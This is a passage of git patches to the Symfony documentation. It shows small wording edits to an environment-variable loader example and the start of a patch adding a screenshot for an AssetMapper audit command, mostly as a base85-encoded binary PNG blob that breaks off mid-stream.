 variables:
@@ -1020,14 +1019,14 @@ variables:
         }
     }
 
-We can create a new class named ``JsonEnvVarLoader`` to populate our environment
-variables from the file::
+You can define a class like the following ``JsonEnvVarLoader`` to populate the
+environment variables from the file::
 
     namespace App\DependencyInjection;
 
     use Symfony\Component\DependencyInjection\EnvVarLoaderInterface;
 
-    class JsonEnvVarLoader implements EnvVarLoaderInterface
+    final class JsonEnvVarLoader implements EnvVarLoaderInterface
     {
         private const ENV_VARS_FILE = 'env.json';
 
@@ -1035,7 +1034,7 @@ variables from the file::
         {
             $fileName = __DIR__.\DIRECTORY_SEPARATOR.self::ENV_VARS_FILE;
             if (!is_file($fileName)) {
-                // throw an error or just ignore this loader, depending on your needs
+                // throw an exception or just ignore this loader, depending on your needs
             }
 
             $content = json_decode(file_get_contents($fileName), true);
@@ -1044,9 +1043,9 @@ variables from the file::
         }
     }
 
-That's it! Now the application will look at a ``env.json`` file in the
-current directory to populate environment variables, additionally to the
-already existing ``.env`` files.
+That's it! Now the application will look for a ``env.json`` file in the
+current directory to populate environment variables (in addition to the
+already existing ``.env`` files).
 
 .. tip::
 

From 2f15ced5fc6e36801dd8769dc4f2ccd2fa448932 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 5 Oct 2023 10:14:08 +0200
Subject: [PATCH 3914/5766] [AssetMapper] Add audit command

---
 .../assetmapper/01-importmap-audit.png        | Bin 0 -> 132950 bytes
 frontend/asset_mapper.rst                     |  32 ++++++++++++++++++
 2 files changed, 32 insertions(+)
 create mode 100644 _images/components/assetmapper/01-importmap-audit.png

diff --git a/_images/components/assetmapper/01-importmap-audit.png b/_images/components/assetmapper/01-importmap-audit.png
new file mode 100644
index 0000000000000000000000000000000000000000..d98b86bceb2f2f3f02f5252a51a80884e9e19d1f
GIT binary patch
literal 132950
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
